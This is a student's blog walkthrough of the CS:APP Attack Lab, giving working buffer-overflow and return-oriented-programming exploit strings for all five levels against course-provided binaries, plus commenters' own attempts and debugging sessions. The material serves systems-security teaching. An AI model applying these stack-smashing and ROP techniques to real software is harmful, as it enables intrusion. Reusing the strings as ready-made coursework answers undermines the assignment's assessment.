

Ning Wang (<http://wangnin.me>) "A programmer and his cat"

Ning Wang (<http://wangnin.me>)

[Articles \(/\)](#)

[CV \(/misc/resume.pdf\)](#)

[Categories \(/categories/\)](#)

[Archives \(/archives/\)](#)

[About \(http://wangnin.me/about/\)](http://wangnin.me/about/)

 Search

CSAPP: Attack Lab (<http://wangnin.me/2016/01/15/3-attacklab.html>)

This is the first week in my spring 2016 semester. I have been working on the Attack lab during my free time for a few days. This is a lab assignment for the book Computer Systems: A Programmer's perspective. It is fairly new that it just got published in Jan 11.

This lab explores two techniques used to conduct software attack, namely buffer overflow and return-oriented programming. The lab has 5 levels and I will explain how to tackle each level one by one. My solution is pushed into my github repo (<https://github.com/LancelotGT/csapp-labs/tree/master/target1>). To tackle this lab effectively, the right tools we need to have include gdb, objdump, hex2raw (provided with the lab). I also use udcli (<http://udis86.sourceforge.net/>) to do quickly disassembly (e.g. to convert "48 89 c7" to "mov %rax, %rdi"). It is very useful for the last level.

In gdb, we can use `x/nfu addr` to check the memory content starting from `addr`, where `n` is the repeating count, `f` is the display format and `u` is the unit size to display. For example, `x/8xg %rsp` give the memory contents from the current stack pointer to stack pointer + 0x40 bytes. Typically what I do is to break on the function call Gets, and check the stack frame of Getbuf right after Gets finishes to see what exploit strings I have injected to the code.

Level 1:

The first level is quite simple and it kind of gives us a taste of buffer overflow attack. Our goal is to inject exploit string to redirect the function call `getbuf` return to `touch1()`, instead of `test()`. Set a breakpoint on `getbuf`, use `disas` to disassemble code for the current procedure call, we get the following assembly code.

```
0x00000000004017a8 <+0>:    sub    $0x28,%rsp
0x00000000004017ac <+4>:    mov    %rsp,%rdi
0x00000000004017af <+7>:    callq 0x401a40 <Gets>
0x00000000004017b4 <+12>:   mov    $0x1,%eax
0x00000000004017b9 <+17>:   add    $0x28,%rsp
0x00000000004017bd <+21>:   retq
```

What it does is pretty clear. It first subtract the current stack pointer `%rsp` by `0x28` bytes, pass the first position as input parameter to get string from `Gets`. It is conceptually equivalent to the following C code:

```
{
    char A[40];
    Gets(A);
    return 1;
}
```

Note that the return address is pushed onto stack before entering this function. What we need to do is just use the exploit string to overflow the stack frame to change the return address. The stack frame of `Gets` should look like this after receive the exploit string.

```
0x5561dca0 0x00000000004017c0 /* return address of touch1 */
0x5561dc98 0x0000000000000000 /* .....padding.....*/
0x5561dc90 0x0000000000000000 /* .....padding.....*/
0x5561dc88 0x0000000000000000 /* .....padding.....*/
0x5561dc80 0x0000000000000000 /* .....padding.....*/
0x5561dc78 0x0000000000000000 /* .....padding.....*/
```

Also note that X86 use little endian byte ordering. The string exploit string is

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00
```

Level 2:

Level 2 requires us to redirect `getbuf()` to return to `touch2()` and set the input argument for `touch2()` to be cookie, which is `0x59b997fa`. What it means is that we need to inject code into the stack and set the `%edi` register to be `0x59b997fa`. The executable `ctarget` is vulnerable to buffer overflow attack because its stack is executable. So we can use our exploit string to layout code on the stack and redirect the program to execute code we put on the stack. The code we need to inject is:

```
movq 0x59b997fa, %rdi
retq
```

We can use `gcc` and `objdump` to assemble the code and disassemble it to get the binary encoding of the assembly code. It turns out to be

```
48 c7 c7 fa 97 b9 59 /* mov $0x59b997fa, %rdi */
c3                  /* retq */
```

The layout of the stack should be

```
0x5561dca8 0x00000000004017ec /* return address of touch2 */
0x5561dca0 0x000000005561dc78 /* address of injected code */
0x5561dc98 0x0000000000000000 /* .....padding..... */
0x5561dc90 0x0000000000000000 /* .....padding..... */
0x5561dc88 0x0000000000000000 /* .....padding..... */
0x5561dc80 0x0000000000000000 /* .....code..... */
0x5561dc78 0xc359b997fac7c748 /* .....code..... */
```

So the exploit string should be

```
48 c7 c7 fa 97 b9 59 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
ec 17 40 00 00 00 00 00
```

Level 3:

Level 3 is a bit tricky since we need to redirect `getbuf()` to return to `touch3()` and pass a pointer to string as input argument. The string is a ascii representation of cookie string `59b997fa`. This means we need to find somewhere to store this string and make sure it won't be overwrite by the following procedural calls. We know that `touch3()` use `hexmatch()` and `strncmp()` to check whether the string we passed match the cookie. By inspecting the disassembled code of `hexmatch()` and `strncmp`, we see 4 `pushq` instructions, which will overwrite 32 bytes on the stack. We know that there are only 32 bytes between the return address and our injected code (shown in the following graph of stack frame). Hence this region cannot be used to place the ascii representation of cookie. My original method is to inject additional instructions to `movl` the string to the position below our injected code, which is impossible to write directly using the exploit string. This method is powerful since we can put anywhere as long as the stack is executable. But it complicates things. For this problem, since the parent stack is safe, we can just overflow the stack and put the ascii string on top of the return address of `touch2`. The code we need to inject is

```
48 c7 c7 b0 dc 61 55    /* mov    $0x5561dcb0,%rdi */
c3                     /* retq  */
```

The layout of the stack should be

```

0x5561dcb8 0x0000000000000000 /* end of string */
0x5561dcb0 0x6166373939623935 /* ascii representation of cookie */
0x5561dca8 0x00000000004018fa /* return address of touch3 */
0x5561dca0 0x000000005561dc78 /* address of injected code */
0x5561dc98 0x0000000000000000 /* .....padding..... */
0x5561dc90 0x0000000000000000 /* .....padding..... */
0x5561dc88 0x0000000000000000 /* .....padding..... */
0x5561dc80 0x0000000000000000 /* .....padding..... */
0x5561dc78 0xc35561dcb0c7c748 /* .....code..... */

```

Therefore the exploit string should be

```

48 c7 c7 b0 dc 61 55 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61
00

```

Level 4:

In level 4 and 5 we will be exploring return oriented programming attack. Since the stack for `rtarget` is randomized and non-executable, it is impossible to do buffer overflow attack on this executable anymore. Recall that we can still write strings on the stack. Instead of directly inject code on the stack, we can inject addresses of existing code and use `retq` to execute them one by one. This is the idea of return oriented programming and each piece of code is called a "gadget". However, it will complicate things much more for the attackers, since we need find useful pieces of code and make a chain of them. I think a graph from the CMU 15-213 lab recitation slide will best clarify the idea

Next address in ROP chain....
Address 1
0xBBBBBBBB
Address 2
0xFFFFFFFF
0xFFFFFFFF
0xFFFFFFFF
0xFFFFFFFF
0xFFFFFFFF
0xFFFFFFFF
0xFFFFFFFF
0xFFFFFFFF
0xFFFFFFFF
0xFFFFFFFF (filler.....)

(<http://wangnin.me/images/attacklab1.jpg>)

The gadget code is

```
Address 1: mov %rbx, %rax; ret
Address 2: pop %rbx; ret
```

The address2 in the graph points to the old return address. The lowest address is the start of buffer. We can use address 2 to replace the old return address. The execution will pop the next 8 bytes into `%rbx` and return to the code pointed by address 1. In this way we form the chain of code pieces and pop value on stack into registers.

This level asks us to reform the attack in level2. The first gadget we identify is

```
58 90  /* popq %rax */
c3     /* retq    */
```

It appears in the following code piece with address 0x4019ab.

```
00000000004019a7 <addval_219>:
4019a7:  8d 87 51 73 58 90      lea    -0x6fa78caf(%rdi),%eax
4019ad:  c3                     retq
```

Another gadget we identify is

```
48 89 c7  /* mov %rax, %rdi */
c3        /* retq          */
```

It appears in the following code piece with address 0x4019a2.

```
00000000004019a0 <addval_273>:
4019a0:  8d 87 48 89 c7 c3      lea    -0x3c3876b8(%rdi),%eax
4019a6:  c3                    retq
```

Combine these two gadgets, we can form our attack. The exploit string is

```
00 00 00 00 00 00 00 00  /* padding */
00 00 00 00 00 00 00 00  /* padding */
00 00 00 00 00 00 00 00  /* padding */
00 00 00 00 00 00 00 00  /* padding */
00 00 00 00 00 00 00 00  /* padding */
ab 19 40 00 00 00 00 00  /* gadget 1 */
fa 97 b9 59 00 00 00 00  /* value to be popped into %rax */
a2 19 40 00 00 00 00 00  /* gadget 2 */
ec 17 40 00 00 00 00 00  /* address of touch2 */
```

Level 5:

Level 5 is the boss in this lab. We need to reformulate the level attack using return oriented programming.

The hard part is that we need pass a relative position to `%rsp` to `%rdi` to formulate the attack, without any existing code pieces to move value from `%rsp` to `%rdi`. It requires a combination of time, luck and instinct to find all those gadgets to achieve the effect equivalent to `movl $0x40(%rsp), %rdi` (we will see why it is 0x40). It took me a total of 7 gadgets to do this attack. I post my exploit string below with the code comment excluding the `retq`. I'll leave it to the reader to verify this does do the work.

```

00 00 00 00 00 00 00 00 /* padding */
00 00 00 00 00 00 00 00 /* padding */
00 00 00 00 00 00 00 00 /* padding */
00 00 00 00 00 00 00 00 /* padding */
00 00 00 00 00 00 00 00 /* padding */
06 1a 40 00 00 00 00 00 /* gadget 1: movq %rsp, %rax */
a2 19 40 00 00 00 00 00 /* gadget 2: movq %rax, %rdi */
b9 19 40 00 00 00 00 00 /* gadget 3: popq %rax; xchg %eax, %edx */
40 00 00 00 00 00 00 00 /* gap between gadget 1 and cookie */
69 1a 40 00 00 00 00 00 /* gadget 4: movq %edx, %ecx; or bl, bl */
13 1a 40 00 00 00 00 00 /* gadget 5: movq %ecx, %esi */
d6 19 40 00 00 00 00 00 /* gadget 6: lea (%rdi, %rsi, 1), %rax */
a2 19 40 00 00 00 00 00 /* gadget 7: movq %rax, %rdi */
fa 18 40 00 00 00 00 00 /* return address of touch3 */
35 39 62 39 39 37 66 61 /* cookie */

```

This concludes my post on attack lab.

83 Comments

A programmer and his cat

1 Login ▾

♥ Recommend 7

🔗 Share

Sort by Newest ▾



Join the discussion...



tank • a month ago

I have this so far for my first touch...

is my answer for touch 1 -> f6 19 40 00 00 00 00 00 ?

```

16      in buf.c
(gdb)
0x0000000000401839      16      in buf.c
(gdb)
0x000000000040183d      16      in buf.c
(gdb) c
Continuing.
No exploit. Getbuf returned 0x1
Normal return
[Inferior 1 (process 13419) exited normally]
(gdb) q
bertvm:~/Desktop/cs261/attacklab/target54> ./hex2raw < a.txt \ ./ct
./ not found

bertvm:~/Desktop/cs261/attacklab/target54> ./hex2raw < a.txt \ ./ctar
./ not found

bertvm:~/Desktop/cs261/attacklab/target54> ./hex2raw < a.txt | ./ctarget
Cookie: 0x18c55c46
Type String: No exploit. Getbuf returned 0x1
Normal return
bertvm:~/Desktop/cs261/attacklab/target54> gdb ctarget
GNU gdb (GDB) 7.5.91.20130417-cvs-ubuntu
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /nfsdhrs/home4/home4/ugrad4/atank/Desktop/cs261/attacklab/target54/ctarget...done.
(gdb) b getbuf
Breakpoint 1 at 0x401828: file buf.c, line 12.
(gdb) r
Starting program: /nfsdhrs/home4/home4/ugrad4/atank/Desktop/cs261/attacklab/target54/ctarget
Cookie: 0x18c55c46

Breakpoint 1, getbuf () at buf.c:12
12      buf.c: No such file or directory.
(gdb) nt

```



```

14      in buf.c
(gdb) n!
0x000000000040102f      14      in buf.c
(gdb) n!
Type string:mni
16      in buf.c
(gdb) x/10gx rsp
No symbol "rsp" in current context.
(gdb) x/10gx $rsp
0x55640058: 0x0000000000c9c6e6 0x0000000000000000
0x55640060: 0x0000000000556000 0x0000000000401016
0x55640068: 0x0000000000000001 0x00000000004010a4
0x55640070: 0x0000000000000000 0xf4f4f4f4f4f4f4f4
0x55640080: 0xf4f4f4f4f4f4f4f4 0xf4f4f4f4f4f4f4f4
(gdb)

```

^ | v • Reply • Share ›



Ning Wang Mod → tank • 16 days ago

Probably. Try to use disas to figure out where is the return address saved and overwrite that position with address of touch1().

^ | v • Reply • Share ›



Abbey Z • a month ago

Thanks for the great guide. For level 5, what's an alternative approach to solving the problem if my list of gadgets does not include an instruction for lea? I thought about doing add %rdi, %rax and add %rsi, %rax but the only add instruction that is available is add %rdx, %rax

^ | v • Reply • Share ›



Kyle • a month ago

I am having issues with level 3 I am getting back that I entered a cookie with the value of "❓❓❓" I am entering:

```

48 c7 c7 b8 0f 68 55 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 0f 68 55 00 00 00 00 / address of inserted code
75 1a 40 00 00 00 00 00 / address of touch3
33 37 32 65 36 66 37 30 /address = 0x55680fb8
00

```

my cookie is 0x372e6f70

for the code I am inserting is:

```
movq $0x55680fb8, %rdi
```

```
retq
```

can anyone see what I am doing wrong here?

^ | v • Reply • Share ›



Kyle → Kyle • a month ago

Never mind I found my issue was missing a row of 0's and had to change the address I was storing my string at

^ | v • Reply • Share ›



Guest • a month ago

For Level 2, I'm having trouble figuring out how to find what for you was 0x5561dc78, the

location of the injected code. Is it just the address of %rsp?

^ | v · Reply · Share ›



Michael → Guest · a month ago

It's the address of %rsp after executing
0x00000000004017a8 <+0>: sub \$0x28,%rsp

^ | v · Reply · Share ›



Guest → Michael · a month ago

Thanks, I tried that but it's still resulting in the "Misfire" error. If I understand correctly, that means I overrode the return address to touch2, but I haven't properly been able to set %rdi to my cookie first. I followed the layout of exploit string as explained, and it's not working.

I'm having trouble understanding exactly what's going on though/why this layout exactly works. Let me know if my understanding is correct:

The first line of the exploit string should change %rdi to the value of the cookie, then the next non-empty line contains the supposed address of the exploit code, which is on the next line (does this actually do anything though?), which overrides the return address to the address of touch2.

^ | v · Reply · Share ›



Ning Wang Mod → Guest · a month ago

It is the address you choose to layout the injected code on stack. You can choose any address between %rsp and start of the current stack frame.

^ | v · Reply · Share ›



Mack → Ning Wang · a month ago

Could you explain what I'm doing wrong here? My cookie is 0x597a076a so my first line is

48 c7 c7 6a 07 7a 59 c3.

Then I have 4 lines of 0's.

Next when i checked rsp (i used i r) after executing 0x00000000004017a8
<+0>: sub \$0x28,%rsp, I got 0x55665428 so
28 54 66 55 00 00 00 00

Finally the address of touch2 is 0000000000401868 so
68 18 40 00 00 00 00 00

So in conclusion,

48 c7 c7 6a 07 7a 59 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

```
00 00 00 00 00 00 00 00
28 54 66 55 00 00 00 00
68 18 40 00 00 00 00 00
```

However, when I try this, I get a segmentation fault

^ | v · Reply · Share ›



Guest → Ning Wang · a month ago

Sorry, I'm just still having trouble. Every time I try it, I get "Misfire: You called touch2 ... FAILED"

I seem to have a very similar exploit string, except I have only 4 lines of 8 bytes, otherwise I get a segmentation fault, presumably because my buffer is smaller (when I disassemble, it has the instruction "sub \$0x18, %rsp").

I've tried multiple address near %rsp, but it hasn't ever changed the result. Any ideas why this is?

^ | v · Reply · Share ›



Guest → Guest · a month ago

Turns out I had everything right but needed an extra line of 0's in the buffer, it worked, thanks!

^ | v · Reply · Share ›



GuyWholstryingToPassSystems · a month ago

Level 3, how are you converting 0x59b997fa to 0x5561dcb0?

1 ^ | v · Reply · Share ›



Logan Blevins → GuyWholstryingToPassSystems · a month ago

Actually, I ended up getting a misfire, and had to change it to movq \$0x55657640, %rdi. But I believe that either variation will work as long as you add the appropriate amount of padding before the ASCII encoded string.

^ | v · Reply · Share ›



Logan Blevins → GuyWholstryingToPassSystems · a month ago

I'm able to call touch3, by checking the address of %rsp as soon as your breakpoint hits on getbuf, which is happening before Gets is being called. I used that address for the move instruction. So for me, mine turned out to be movq \$0x55657630, %rdi

^ | v · Reply · Share ›



Logan Blevins · a month ago

Hey, I understand everything on phase 3 except for the address that should be moved into %rdi. Could someone please explain this?

Thanks.

^ | v · Reply · Share ›



Ning Wang Mod → Logan Blevins · a month ago

The address is a pointer to where the cookie string is. In my case, I put the ascii cookie string on the parent stack in case the current stack frame will be reused by touch3().

1 ^ | v · Reply · Share ›



Logan Blevins → Ning Wang · a month ago

Thanks! Figured it out, finally got passed through level 4.

^ | v · Reply · Share ›



Zack Arnett · a month ago

Hello, I am having a hard time understanding a few things in the Phase 5. I used your guide for the others and they made sense and helped a lot. Thank you.

In Phase 5 it says "Gap between the gadget 1 and the cookie" could you explain this to me and why this is there?

I am using the guide and I keep getting the misfire. Im not sure what I am doing that is wrong. Did you have any trouble when doing this one that you might share

Thanks.

1 ^ | v · Reply · Share ›



Ning Wang Mod → Zack Arnett · a month ago

What's in there is an offset value 0x40. Let's see what's happening from the first gadget. When executing the first one, rsp points to the start of gadget 2. So it moves the address of gadget2 to rdi. Then in gadget 3, we pop 0x40 to rax and move 0x40 to esi. The key is gadget 6, we add rsi (0x40) to the address of gadget 2 to get the address of ascii cookie string and move it to %rdi. Then we can just return to touch3 and it's done.

I think everyone might have a slightly different version of this lab. So using the same code might not work. But you can find similar patterns of gadgets to tackle phase 5.

^ | v · Reply · Share ›



Reddy · a month ago

Hey Ning,

For level four i dont understand how you got to 0x4019ab and 0x4019a2 for the gadgets. I'm not sure how which addval to be looking at for gadget 1 and 2.

^ | v · Reply · Share ›



Reddy → Reddy · a month ago

Im also having troubles understanding the steps to come to these gadgets. Thanks in advance.

^ | v · Reply · Share ›



Reddy → Reddy · a month ago

 I got it. It was just a misunderstanding. I hanks

^ | v • Reply • Share ›



hyun_ichiro • a month ago

For level 3 lets say there is 48 bytes between the return address and our injected code (not 32 bytes). If input string is of 72 bytes, how can you think I fit everything in? The following is 80 bytes but level 3 takes max of $72 = 9 * 8$

```
/* ascii representation of cookie */
/* return address of touch3 */
/* address of injected code */
/* .....padding..... */
/* .....padding..... */
/* .....padding..... */
/* .....padding..... */
/* .....padding..... */
/* .....padding..... */
/* .....padding..... */
/* .....code..... */
```

^ | v • Reply • Share ›



Ning Wang Mod → hyun_ichiro • a month ago

Input string is 72 bytes? If the cookie is that long you can still try to put it at the parent stack (above return address of touch3). Don't put it between your code and the address of injected code.

^ | v • Reply • Share ›



hyun_ichiro → Ning Wang • a month ago

for level 3 we know "return strcmp(sval, s, 9) == 0". So, input string broken into 9 parts. Each part is 8 bytes. So, $8 * 9 = 72$. My input is $8 * 10$ because I need 48 bytes for padding. Can I cut anything out you think?

^ | v • Reply • Share ›



Ning Wang Mod → hyun_ichiro • a month ago

Each part is 1 byte. I think you can still try the parent stack. It should work.

^ | v • Reply • Share ›



flyer_8 → Ning Wang • a month ago

what is parent stack?

^ | v • Reply • Share ›



Ning Wang Mod → flyer_8 • a month ago

It is the last calling stack frame before entering the current stack frame.

^ | v • Reply • Share ›



flyer_8 • 2 months ago



flyer_8 · 2 months ago

This is very good guide. Thank you very much.

In level 3 how did you reach the following conclusion?

```
movq $0x5561dcb0,%rdi /* set input argument (address of sval) */
```

How did you get \$0x5561dcb0?

For an example did you do this?

```
gdb ctarget
```

```
break getbuf
```

```
run
```

```
i r
```

(look at rdi address)

^ | v · Reply · Share ›



Ning Wang Mod → flyer_8 · a month ago

Sorry for the late reply. I've been busy these days and not keeping up with my blog. For your question, yes, we need to break before and right after gets() and check the %rsp to know where the current stackframe is. For that address, you can just choose a valid address on the parent stack. We cannot put it between saved return address and current %rsp because that will be overwritten by touch3().

^ | v · Reply · Share ›



flyer_8 → Ning Wang · a month ago

That made sense. Thank you.

For level 4, how did you know to use address 0x4019ab and not 0x4019a9? Or how you know to use address 0x4019a2 and not 0x4019a4? I see that it has to be even number address.

Is there specific way to check?

^ | v · Reply · Share ›



Ning Wang Mod → flyer_8 · a month ago

It is 0x4019ab because the byte in that address is 58, which is the start byte for "58 90 c3".

1 ^ | v · Reply · Share ›



flyer_8 → Ning Wang · a month ago

got it, thanks!

^ | v · Reply · Share ›



dee denza · 2 months ago

I'm working on phase 4 and having issues trouble identifying the gadgets, I'm not understanding how to find the ones I will need specifically.

^ | v · Reply · Share ›

Avatar

This comment was deleted.



Ning Wang Mod → Guest · 2 months ago

That's the address where we layout the cookie on stack. touch3() expects a char* as input argument.

^ | v · Reply · Share ›

Avatar

This comment was deleted.



Ning Wang Mod → Guest · 2 months ago

It is fairly arbitrary. As long as the place you choose to put the cookie is safe, it should work. By safe I mean it won't be overwritten by the touch3(), such as the parent stack.

^ | v · Reply · Share ›



Jeremy · 2 months ago

Hey, I'm confused how to get the binary encoding of assembly code.

^ | v · Reply · Share ›



Ning Wang Mod → Jeremy · 2 months ago

As I remember, you can compile the assembly code with gcc -c test.s. Then disassemble it using objdump -d to find the actual hex representation of the code. Then copy the hex to a file and use hex2raw to generate raw strings for exploitation.

^ | v · Reply · Share ›



Slanothy · 2 months ago

Thank you for this guide. It really helped a lot plus it somewhat explains every step so you don't just follow the instructions

^ | v · Reply · Share ›



Ning Wang Mod → Slanothy · 2 months ago

I'm glad it helps!

^ | v · Reply · Share ›

Avatar

This comment was deleted.



Ning Wang Mod → Guest · 3 months ago

I guess one way to find the gadget is to think the problem this "gadget" way. Then check whether the farm has the gadgets you need.

For level4, it is clear that to need to somehow put the cookie value to %rdi. But there is no code that we can directly non %rdi. The way to do this using gadget is to first non

no code that we can directly pop zero. The way to do this using gadget is to first pop a value on stack into any register, and mov that register into %rdi. From the instruction look-up table we know that 58-5f encodes a series of pop instructions. We can just search for them in rtarget.

Luckily, the first one we found is the code snippet 58 90 c3, which encodes pop %rax; retq. Then we need find whether 48 89 c7 is there (movq %rax, %rdi). Indeed, it is there.

^ | v • Reply • Share ›



David → Ning Wang • 2 months ago

so basically we just read though the whole code and check if any lines correspond with any encodings on the table?

^ | v • Reply • Share ›



Avatar

This comment was deleted.



Ning Wang Mod → Guest • 3 months ago

Ah, it is a typo. it will not run without %. I made a lot of mistakes when I wrote this post. I need to squeeze some time out to fix them.

For your second question, I just checked the instructions table in the writeup. If I think something in the farm might help, I use udcli to do quick disassembly.

^ | v • Reply • Share ›



NhoxMar • 3 months ago


I am doing this exercise and I'm stuck with touch02. How can I find "48 c7 c7" and "c3" in 48 c7 c7 fa 97 b9 59 c3?

My cookie: 0x3e52dff5 so I believe there will be f5 df 52 3e in the middle, how can I find the others number @_@ I have seen your ctarget but still not understand how and why you can figure it out >.< please help!!

^ | v • Reply • Share ›



Ning Wang Mod → NhoxMar • 2 months ago

 Fri 15 January 2016 (2016-01-15T11:00:00-05:00)

Computer Systems (<http://wangnin.me/category/computer-systems/>) CSAPP (</tag/csapp/>)

← Older (<http://wangnin.me/2016/01/09/1-intro.html>)

Newer → (<http://wangnin.me/2016/02/28/4-JOSIntro.html>)

Contact

🐦 @NingWang92 (<http://twitter.com/NingWang92>)

📘 Facebook (<http://facebook.com/wangningLancelot>)

zhihu (<https://zhihu.com/people/nwang72>)

Professional profiles

🌐 LinkedIn (<http://linkedin.com/in/nwang72>)

🐙 Github (<https://github.com/LancelotGT>)

🔑 Bitbucket (<https://bitbucket.org/lancelotGT/>)

Browse content by

📁 Categories (<http://wangnin.me/categories/index.html>)

📅 Dates (<http://wangnin.me/archives/index.html>)

🏷️ Tags (<http://wangnin.me/tags/index.html>)

📡 Feed (<http://wangnin.me/feeds/computer-systems.atom.xml>)

Copyright notice

© Copyright 2015-2016 Ning Wang.

Disclaimer

All opinions expressed in this site are my own personal opinions and are not endorsed by, nor do they represent the opinions of my previous, current and future employers or any of its affiliates, partners or customers.

⬆️ [Back to top](#)

Site generated by Pelican (<http://getpelican.com>).
Plumage (<https://github.com/kdeldycke/plumage>) theme by Kevin Deldycke (<http://kevin.deldycke.com>).